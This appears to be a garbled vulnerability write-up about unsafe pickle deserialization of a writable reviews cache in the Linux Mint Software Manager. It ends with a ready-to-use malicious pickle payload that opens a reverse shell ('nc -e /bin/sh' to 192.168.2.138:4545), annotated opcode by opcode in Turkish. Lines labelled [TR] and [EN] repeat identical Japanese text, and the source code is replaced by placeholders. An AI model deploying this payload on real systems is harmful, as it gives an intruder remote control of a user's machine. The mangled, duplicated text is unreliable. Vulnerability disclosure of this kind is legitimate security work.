
[TR] Linux mintソフトウェアマネージャー (v 7.9.5/9) は、誤った設定によりオブジェクトインジェクションおよび任意のコード実行を引き起こします。 [EN] Linux mintソフトウェアマネージャー (v 7.9.5/9) は、誤った設定によりオブジェクトインジェクションおよび任意のコード実行を引き起こします。
mintinsall
[TR] 新しいコメントがある場合、new-reviews.list からダウンロードしてファイルに書き込みます。 [EN] 新しいコメントがある場合、new-reviews.list からダウンロードしてファイルに書き込みます。

code mintinstall.py
[TR] ソフトウェアマネージャが最初に起動すると、reviews モジュールから ReviewCache() クラスを呼び出します。 [EN] ソフトウェアマネージャが最初に起動すると、reviews モジュールから ReviewCache() クラスを呼び出します。

code reviews.py
[TR] ReviewCache クラスが開始されると (init)、_load_cache() 関数を呼び出します。 [EN] ReviewCache クラスが開始されると (init)、_load_cache() 関数を呼び出します。

[TR] Load cache 関数は REVIEWS_CACHE 変数にあるファイルを読み取り、pickle モジュールを使用してファイル内のデータを非直列化し、一部の値をメモリに保持します。 [EN] Load cache 関数は REVIEWS_CACHE 変数にあるファイルを読み取り、pickle モジュールを使用してファイル内のデータを非直列化し、一部の値をメモリに保持します。

[TR] ファイルを確認すると、書き込み権限があるように見えます。 [EN] ファイルを確認すると、書き込み権限があるように見えます。

[TR] Pickle モジュールを使用してシリアライズ/非シリアライズを実行できるため、reduce メソッドを使用してモジュールをインクルードし、任意のコードを実行できます。 [EN] Pickle モジュールを使用してシリアライズ/非シリアライズを実行できるため、reduce メソッドを使用してモジュールをインクルードし、任意のコードを実行できます。

[TR] この場合、ファイルを非シリアライズしようとすると、悪意のあるコードが実行されます。 [EN] この場合、ファイルを非シリアライズしようとすると、悪意のあるコードが実行されます。
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.

